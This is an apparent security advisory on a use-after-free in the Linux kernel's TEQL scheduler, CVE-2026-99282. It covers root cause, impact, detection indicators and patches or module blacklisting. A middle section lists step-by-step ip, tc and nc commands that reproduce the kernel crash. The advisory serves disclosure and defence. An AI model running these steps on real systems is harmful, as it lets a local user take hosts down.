CVE-2026-99282: 
Linux Kernel vulnerability analysis and mitigation

CVE-2026-99282 is a use-after-free vulnerability in the Linux kernel's TEQL (Trivial Equality) queue discipline (net/sched: sch_teql) that can be triggered by a local user to cause a kernel crash (Denial of Service). The flaw affects Linux kernel versions from 2.6.33 onward, with fixes available in stable commits targeting branches up through 6.18.x and 7.3.x. It was published on November 7, 2026, and carries a CVSS v3.1 base score of 5.5 (Medium) (GitHub Advisory, Red Hat Bugzilla).

The root cause is an expired pointer dereference (CWE-825) in teql_master_xmit(), which incorrectly checks only for NETDEV_TX_OK to determine whether a slave device has consumed a socket buffer (skb). When a VLAN slave's ndo_start_xmit() propagates the return value of dev_queue_xmit() and the lower qdisc drops the packet, it returns NET_XMIT_DROP after the skb has already been freed. The function then attempts to restore skb->dev and call __skb_pull() on the freed skb, resulting in a use-after-free. The fix replaces the NETDEV_TX_OK-only check with dev_xmit_complete(), which correctly identifies all consumed-packet return codes. Reproduction requires CONFIG_NET_SCH_TEQL, CONFIG_VLAN_8021Q, and CONFIG_DUMMY to be enabled, with a specific network topology involving a dummy interface, a VLAN slave with a zero-limit pfifo qdisc, and a TEQL master (GitHub Advisory, Red Hat Bugzilla).

Successful exploitation causes a kernel use-after-free condition that crashes the affected Linux system, resulting in a Denial of Service. The impact is limited to availability — there is no confidentiality or integrity impact identified. Because exploitation requires local access and network configuration privileges, the blast radius is constrained to the affected host and does not directly enable lateral movement or data exfiltration (GitHub Advisory, Red Hat Bugzilla).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the disclosure date (GitHub Advisory). Exploitation requires local access with sufficient privileges to configure network interfaces (e.g., CAP_NET_ADMIN), limiting the attack surface. No threat actor attribution, CISA KEV listing, or EPSS score data is currently available for this CVE.

1. Gain local access: Obtain a local shell on a target Linux system with CAP_NET_ADMIN privileges (or root), running a kernel version ≥ 2.6.33 compiled with CONFIG_NET_SCH_TEQL, CONFIG_VLAN_8021Q, and CONFIG_DUMMY.
2. Create a dummy interface: ip link add lkrdummy0 type dummy && ip link set lkrdummy0 up
3. Set a zero-limit pfifo qdisc on the dummy: tc qdisc add dev lkrdummy0 root handle 1: pfifo limit 0 — this ensures all packets are dropped by the lower qdisc.
4. Create a VLAN interface on the dummy: ip link add link lkrdummy0 name lkrvlan0 type vlan id 37 && ip link set lkrvlan0 up
5. Attach a TEQL qdisc to the VLAN interface: tc qdisc add dev lkrvlan0 root teql0 && ip link set teql0 up && ip addr add 192.0.2.1/24 dev teql0
6. Trigger the bug: Send a single UDP packet through the TEQL interface (e.g., echo test | nc -u 192.0.2.2 1234). The VLAN's ndo_start_xmit() returns NET_XMIT_DROP after the skb is freed, causing teql_master_xmit() to dereference the freed skb and crash the kernel (GitHub Advisory, Red Hat Bugzilla).

• Logs: Kernel oops or BUG messages in /var/log/kern.log or dmesg referencing teql_master_xmit, use-after-free, or invalid memory access in net/sched/sch_teql.c.
• Logs: Kernel panic traces involving __skb_pull() or skb->dev manipulation following a NET_XMIT_DROP return.
• Network: Presence of TEQL (teql0) and VLAN interfaces configured on a dummy interface, especially with a zero-limit pfifo qdisc on the underlying dummy device (tc qdisc show output).
• Process: Unexpected system reboots or kernel crashes on hosts with CONFIG_NET_SCH_TEQL enabled, particularly after network interface configuration changes by a local user.

Apply the upstream kernel patches fixing teql_master_xmit() to use dev_xmit_complete() for packet consumption detection (commits fc55d92ae6a4, 2702ae318630, and 782d6bb8f9b8 for the relevant stable branches). Fixed versions include kernel 6.18.61 and 7.3.2 and later. As a workaround, disable the TEQL scheduler by unloading or blacklisting the sch_teql kernel module (rmmod sch_teql / echo 'blacklist sch_teql' >> /etc/modprobe.d/blacklist.conf) if TEQL is not required in your environment (GitHub Advisory, Red Hat Bugzilla).

The vulnerability received routine automated coverage from vulnerability tracking services including VulnDB, CVEFeed, and Offseq Radar shortly after disclosure. Red Hat triaged it as medium severity and opened a Bugzilla entry for tracking across affected products. No notable independent researcher commentary or significant media coverage has been identified beyond standard aggregator posts (Red Hat Bugzilla).